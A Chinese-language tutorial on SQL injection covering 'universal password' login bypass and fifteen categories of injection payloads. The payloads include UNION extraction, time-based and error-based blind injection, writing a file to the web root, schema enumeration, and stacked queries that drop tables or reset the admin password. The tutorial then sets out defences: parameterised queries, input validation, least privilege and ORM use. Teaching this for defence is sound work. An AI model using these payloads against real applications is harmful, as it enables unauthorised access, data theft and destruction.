SQL注入——万能密码
字数 894 2025-08-29 08:30:18

SQL注入攻击与防御全面指南

一、SQL注入基本原理

SQL注入是一种通过在用户输入中插入恶意SQL代码来操纵数据库查询的攻击技术。当应用程序未对用户输入进行充分验证和过滤时,攻击者可以改变原始SQL查询的逻辑。

典型登录场景分析

原始SQL查询:

SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码';

万能密码攻击原理

  1. 注释密码校验条件

    • 输入用户名:admin' --
    • 输入密码:任意值(如123456)
    • 生成SQL:
      SELECT * FROM users WHERE username = 'admin' -- ' AND password = '123456';
      
    • --注释掉后续条件,只验证用户名
  2. 利用逻辑优先级

    • 输入用户名:AAA' OR 1=1 OR '1'='1'
    • 输入密码:BBB
    • 生成SQL:
      SELECT * FROM admin WHERE Username='AAA' OR 1=1 OR '1'='1' AND Password='BBB';
      
    • 逻辑运算优先级:NOT > AND > OR
    • 1=1恒为真,使整个条件为真

二、SQL注入技术分类

1. 基础注入技术

' or 1=1 --
' or '1'='1
' or 1=1 #
' or 1=1/*
' or ''='
' or 'a'='a
admin' --
admin' or '1'='1' --

2. 联合查询注入

' union select null, null, null --
' union select 1, 'admin', 'password' --
' union all select null, null, null --
' union select * from users --

应用示例

SELECT * FROM users WHERE username = '' union select 1, 'admin', 'password' --' AND password = '123456';

3. 注释符注入

' or 1=1 --
' or 1=1 #
' or 1=1/*
admin' --
admin' #

4. 时间延迟注入

' or SLEEP(5) --
' or BENCHMARK(1000000,MD5('test')) --
' or IF(1=1, SLEEP(5), 0) --

5. 错误注入

' or 1=CONVERT(int, (select @@version)) --
' or 1=CAST((select @@version) AS int) --

6. 文件操作注入

' or 1=1 INTO OUTFILE '/var/www/html/test.php' --
' or 1=1 INTO DUMPFILE '/var/www/html/test.php' --

7. 数据库信息泄露

' or 1=1 UNION SELECT null, database(), null --
' or 1=1 UNION SELECT null, user(), null --
' or 1=1 UNION SELECT null, @@version, null --

8. 表名和列名枚举

' or 1=1 UNION SELECT null, table_name, null FROM information_schema.tables --
' or 1=1 UNION SELECT null, column_name, null FROM information_schema.columns WHERE table_name='users' --

9. 条件注入

' or IF(1=1, SLEEP(5), 0) --
' or CASE WHEN 1=1 THEN SLEEP(5) ELSE 0 END --

10. 堆叠查询注入

'; DROP TABLE users; --
'; UPDATE users SET password='hacked' WHERE username='admin'; --
'; INSERT INTO users (username, password) VALUES ('hacker', 'password'); --

11. 布尔盲注

' or 1=1 AND '1'='1
' or 1=1 AND '1'='2
' or (SELECT COUNT(*) FROM users) > 0 --

12. 报错注入

' or 1=CONVERT(int, (select @@version)) --
' or 1=CAST((select @@version) AS int) --

13. 绕过过滤技术

' or 1=1 --
' or 1=1 #
' or 1=1/*
' or 1=1; --
' or 1=1 UNION SELECT null, null, null --

14. 多语句注入

'; DROP TABLE users; --
'; UPDATE users SET password='hacked' WHERE username='admin'; --
'; INSERT INTO users (username, password) VALUES ('hacker', 'password'); --

15. 其他变种

' or 1=1 LIMIT 1 --
' or 1=1 ORDER BY 1 --
' or 1=1 GROUP BY 1 --
' or 1=1 HAVING 1=1 --

三、SQL注入防御措施

1. 参数化查询/预编译语句

Python + SQLite示例

import sqlite3
conn = sqlite3.connect('example.db')
cursor = conn.cursor()

username = input("请输入用户名: ")
password = input("请输入密码: ")

query = "SELECT * FROM users WHERE username =? AND password =?"
cursor.execute(query, (username, password))

Java + MySQL示例

PreparedStatement preparedStatement = connection.prepareStatement(
    "SELECT * FROM users WHERE username =? AND password =?");
preparedStatement.setString(1, username);
preparedStatement.setString(2, password);
ResultSet resultSet = preparedStatement.executeQuery();

2. 输入验证和过滤

Python示例

import re
def validate_input(input_str):
    pattern = re.compile(r'^[a-zA-Z0-9_]+$')
    return bool(pattern.match(input_str))

Node.js示例

const isValidUsername = /^[a-zA-Z0-9]+$/.test(username);
const isValidPassword = /^[a-zA-Z0-9]+$/.test(password);

3. 最小权限原则

CREATE USER 'limited_user'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT ON your_database.users TO 'limited_user'@'localhost';
FLUSH PRIVILEGES;

4. 错误处理

Python示例

try:
    # 数据库操作
except sqlite3.Error as e:
    print("发生数据库错误,请稍后再试")
finally:
    if conn:
        conn.close()

5. 使用ORM框架

Python + SQLAlchemy示例

from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker

engine = create_engine('sqlite:///example.db')
Session = sessionmaker(bind=engine)
session = Session()

user = session.query(User).filter_by(username=username, password=password).first()

四、注释符使用注意事项

  1. GET请求中的注释问题

    • #在URL中会被浏览器忽略,需使用%23
    • --需要空格,可使用--+--%20
  2. POST请求中的注释

    • 可直接使用#--(需加空格)
  3. 通用规则

    • 优先使用--(加空格)
    • MySQL中#--都可用

五、总结

SQL注入攻击形式多样,从简单的万能密码到复杂的堆叠查询和时间盲注。防御措施应以参数化查询为核心,辅以输入验证、最小权限和错误处理。ORM框架能有效减少手写SQL带来的风险。开发人员应充分了解各种注入技术,才能构建安全的数据库应用。

SQL注入攻击与防御全面指南 一、SQL注入基本原理 SQL注入是一种通过在用户输入中插入恶意SQL代码来操纵数据库查询的攻击技术。当应用程序未对用户输入进行充分验证和过滤时,攻击者可以改变原始SQL查询的逻辑。 典型登录场景分析 原始SQL查询: 万能密码攻击原理 注释密码校验条件 : 输入用户名: admin' -- 输入密码:任意值(如123456) 生成SQL: -- 注释掉后续条件,只验证用户名 利用逻辑优先级 : 输入用户名: AAA' OR 1=1 OR '1'='1' 输入密码:BBB 生成SQL: 逻辑运算优先级:NOT > AND > OR 1=1恒为真,使整个条件为真 二、SQL注入技术分类 1. 基础注入技术 2. 联合查询注入 应用示例 : 3. 注释符注入 4. 时间延迟注入 5. 错误注入 6. 文件操作注入 7. 数据库信息泄露 8. 表名和列名枚举 9. 条件注入 10. 堆叠查询注入 11. 布尔盲注 12. 报错注入 13. 绕过过滤技术 14. 多语句注入 15. 其他变种 三、SQL注入防御措施 1. 参数化查询/预编译语句 Python + SQLite示例 : Java + MySQL示例 : 2. 输入验证和过滤 Python示例 : Node.js示例 : 3. 最小权限原则 4. 错误处理 Python示例 : 5. 使用ORM框架 Python + SQLAlchemy示例 : 四、注释符使用注意事项 GET请求中的注释问题 : # 在URL中会被浏览器忽略,需使用 %23 -- 需要空格,可使用 --+ 或 --%20 POST请求中的注释 : 可直接使用 # 或 -- (需加空格) 通用规则 : 优先使用 -- (加空格) MySQL中 # 和 -- 都可用 五、总结 SQL注入攻击形式多样,从简单的万能密码到复杂的堆叠查询和时间盲注。防御措施应以参数化查询为核心,辅以输入验证、最小权限和错误处理。ORM框架能有效减少手写SQL带来的风险。开发人员应充分了解各种注入技术,才能构建安全的数据库应用。